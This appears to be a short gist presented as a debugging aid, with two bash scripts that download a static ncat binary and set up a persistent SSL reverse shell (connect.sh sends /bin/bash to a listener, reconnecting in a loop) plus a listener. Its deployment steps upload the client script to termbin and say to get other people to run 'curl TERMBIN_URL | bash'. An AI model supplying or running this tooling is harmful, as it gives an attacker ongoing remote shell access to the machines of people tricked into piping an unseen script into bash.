Get a remote shell for debugging purposes

connect.sh

#!/bin/bash

NCAT_URL="https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncat"
NCAT_FILE="$(pwd)/ncat"

HOST="localhost"
PORT="8443"

install_ncat() {
    wget $NCAT_URL -O "$NCAT_FILE"
    chmod 755 "$NCAT_FILE"
}

run_shell() {
    while true
    do
        "$NCAT_FILE" --ssl -vde -e /bin/bash $HOST $PORT
        sleep 5
    done
}

install_ncat
run_shell

listener.sh

#!/bin/bash

NCAT_URL="https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncat"
NCAT_FILE="$(pwd)/ncat"

PORT="8443"

install_ncat() {
    wget $NCAT_URL -O "$NCAT_FILE"
    chmod 755 "$NCAT_FILE"
}

run_listener() {
    while true
    do
        "$NCAT_FILE" --ssl -v -l $PORT
        sleep 5
    done
}

install_ncat
run_listener

How it looks like: https://asciinema.org/a/649000
Deployment:

1. Run listener script on public ip (open port in firewall)
2. Download client script and adjust ip
3. cat connect.sh | nc -v termbin.com 9999 # enter ctrl-d to send EOF - a URL comes back (termbin is a terminal pastebin)
4. telll people to run: curl TERMBIN_URL | bash
5. client will automatically reconnect if the shell fails/terminates